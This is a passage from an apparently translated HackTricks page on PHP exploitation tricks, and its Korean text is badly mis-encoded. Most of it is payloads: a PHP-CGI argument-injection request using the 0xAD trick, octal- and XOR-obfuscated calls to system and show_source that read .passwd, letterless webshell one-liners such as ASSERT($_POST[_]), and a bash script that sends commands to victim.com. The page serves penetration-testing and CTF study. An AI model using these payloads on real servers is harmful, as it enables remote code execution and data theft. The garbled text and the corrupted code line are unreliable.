์น์๋ฒ๋ HTTP ์์ฒญ์ ํ์ฑํ์ฌ PHP ์คํฌ๋ฆฝํธ๋ก ์ ๋ฌํ๊ณ , ์๋ฅผ ๋ค์ด http://host/cgi.php?foo=bar ๊ฐ์ ์์ฒญ์ php.exe cgi.php foo=bar๋ก ์คํํฉ๋๋ค. ์ด ๋์์ parameter injection์ ํ์ฉํฉ๋๋ค. ์ด๋ ์์ฒญ์ body์์ PHP code๋ฅผ ๋ก๋ํ๋๋ก ๋ค์๊ณผ ๊ฐ์ ํ๋ผ๋ฏธํฐ๋ฅผ injectํ ์ ์๊ฒ ํฉ๋๋ค:
-d allow_url_include=1 -d auto_prepend_file=php://input
๋ํ PHP์ ์ดํ ์ ๊ทํ ๋๋ฌธ์ 0xAD ๋ฌธ์๋ก โ-โ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. ์ต์คํ๋ก์ ์์ ๋ this post์์ ํ์ธํ์ธ์:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post ์์๋ ์์ฃผ ์ ์ ์์ ๋ฌธ์๋ง ํ์ฉ๋๋ ์ํฉ์์ brain fuck PHP ์ฝ๋๋ฅผ ์์ฑํ ํ๋ฅญํ ์์ด๋์ด๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
๋ํ ์ฌ๋ฌ ๊ฒ์ฌ๋ฅผ bypassํ ์ ์๊ฒ ํด์ฃผ๋ ํจ์ ์คํ ๋ฐฉ๋ฒ๋ ์ ์๋์ด ์์ต๋๋ค:
(1)->{system($_GET[chr(97)])}
PHP Static analysis
๋ค์ ํจ์ ํธ์ถ์ code๋ฅผ ์ฝ์ ํ ์ ์๋์ง ํ์ธํด ๋ณด์ธ์ (from here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
PHP ์ ํ๋ฆฌ์ผ์ด์
์ ๋๋ฒ๊น
ํ๋ ๊ฒฝ์ฐ ์ ์ญ์ ์ผ๋ก ์๋ฌ ์ถ๋ ฅ์ ํ์ฑํํ๋ ค๋ฉด /etc/php5/apache2/php.ini์ display_errors = On์ ์ถ๊ฐํ๊ณ Apache๋ฅผ ์ฌ์์ํ์ธ์: sudo systemctl restart apache2
PHP ์ฝ๋ ๋๋ ํ ํด์
PHP ์ฝ๋๋ฅผ ๋์ค๋ธํจ์คํ๋ ค๋ฉด ์น www.unphp.net ์(๋ฅผ) ์ฌ์ฉํ ์ ์์ต๋๋ค.
PHP Wrappers & Protocols
PHP ๋ํผ์ ํ๋กํ ์ฝ์ ์์คํ ์ ์ฐ๊ธฐ ๋ฐ ์ฝ๊ธฐ ๋ณดํธ๋ฅผ ์ฐํํ์ฌ ์์คํ ์ ์์์ํฌ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ more information check this page.
Xdebug unauthenticated RCE
phpconfig() ์ถ๋ ฅ์์ Xdebug๊ฐ enabled๋ก ํ์๋๋ฉด https://github.com/nqxcode/xdebug-exploit ๋ฅผ ํตํด RCE๋ฅผ ์๋ํด๋ณด์ธ์
๋ณ์์ ๋ณ์
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE ์ ์ฉ new $_GET[โaโ]($_GET[โbโ])
ํ์ด์ง์์ ์์์ ํด๋์ค์ ์ ๊ฐ์ฒด๋ฅผ ์์ฑํ ์ ์๋ค๋ฉด RCE๋ฅผ ์ป์ ์ ์์์ง๋ ๋ชจ๋ฆ ๋๋ค. ๋ฐฉ๋ฒ์ ์์๋ณด๋ ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
Php Rce Abusing Object Creation New Usd Get A Usd Get B
๋ฌธ์ ์์ด PHP ์คํ
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
8์ง์ ์ฌ์ฉ
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ยข___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
this writeup ์ ๋ฐ๋ฅด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๊ฐ๋จํ shellcode๋ฅผ ์์ฑํ ์ ์๋ค:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
๋ฐ๋ผ์, ๋ง์ฝ ๋น์ ์ด execute arbitrary PHP without numbers and letters ํ ์ ์๋ค๋ฉด, ๋ค์๊ณผ ๊ฐ์ request๋ฅผ ์ ์กํ์ฌ ๊ทธ payload๋ฅผ ์ ์ฉํด execute arbitrary PHPํ ์ ์์ต๋๋ค:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
์์ธํ ์ค๋ช ์ https://ctf-wiki.org/web/php/php/#preg_match๋ฅผ ์ฐธ๊ณ ํ์ธ์
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl๊ณผ ์ ์ฌ
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


